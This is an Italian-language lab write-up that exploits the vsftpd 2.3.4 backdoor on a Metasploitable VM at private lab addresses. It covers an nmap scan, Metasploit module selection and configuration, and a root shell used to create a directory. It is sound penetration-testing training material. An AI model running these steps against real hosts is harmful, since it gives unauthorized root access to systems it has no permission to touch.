

S7 L1

Obiettivo: Ottenere l'accesso alla macchina Metasploitable attraverso il servizio vsftpd e creare una cartella di nome test_metasploit nella directory di root.

IP Target: 192.168.1.149

IP Attaccante: 192.168.1.100

STEPS:

- **Scansione**

Avviamo una scansione delle porte del sistema target tramite il tool nmap.

Usiamo la linea di comando **nmap -sV 192.168.1.149 -p-**

-sV è un'opzione per il banner grabbing;

-p- ci permette di effettuare la scansione scelta su tutte le porte del sistema target.

Dal risultato della scansione notiamo che la porta ftp (ovvero la 21) è aperta e che il daemon presente è vsftpd 2.3.4

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 13:04 CEST
Nmap scan report for 192.168.1.149
Host is up (0.064s latency).
Not shown: 65506 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
33826/tcp open  mountd       1-3 (RPC #100005)
34679/tcp open  nlockmgr     1-4 (RPC #100021)
34747/tcp open  java-rmi     GNU Classpath grmiregistry
40113/tcp open  status       1 (RPC #100024)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:lin
ux:linux_kernel
```

- **Ricerca e configurazione exploit**

Apriamo metasploit tramite il comando **msfconsole** e usando l'istruzione **search** cerchiamo il daemon che abbiamo trovato con la scansione di nmap.

```
msf6 > search vsftpd 2.3.4

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Selezioniamo l'exploit desiderato usando il comando **use** <numero riga exploit> (in questo caso 0)

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Con il comando **show options** controlliamo quali parametri sono richiesti all'exploit per funzionare.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  -      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
```

Notiamo che l'unico parametro necessario nel nostro caso è **rhosts** che andiamo a impostare con il comando **set rhosts 192.168.1.149**. Successivamente usiamo il comando **show payloads** per mostrare una lista dei payloads compatibili con l'exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  payload/cmd/unix/interact .                normal      No      Unix Command, Interact with Established Connection
```

Visto che il payload disponibile è lo stesso di quello di default non apportiamo modifiche. Se avessimo avuto altre opzioni avremmo potuto selezionare il payload desiderato tramite il comando **use** <numero riga payload>

Rieseguiamo uno `show options` per controllare lo stato della nostra configurazione e se il payload necessita di alcuni requisiti.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |


Exploit target:


| Id | Name      |
|----|-----------|
| 0  | Automatic |


```

In questo caso, il payload non ha requisiti e di conseguenza possiamo passare alla fase successiva

- **Uso dell'exploit**

Finite tutte le configurazioni, mandiamo in esecuzione l'exploit tramite il comando **exploit** o **run** e una volta avuto successo testiamo alcuni comandi come **pwd**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:45979 → 192.168.1.149:6200) at 2024-07-08 13:17:23 +0200

pwd
/
```

Creiamo la cartella `test_metasploit` tramite il comando **mkdir** e con **ls** verifichiamo se l'operazione ha avuto successo.

```
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```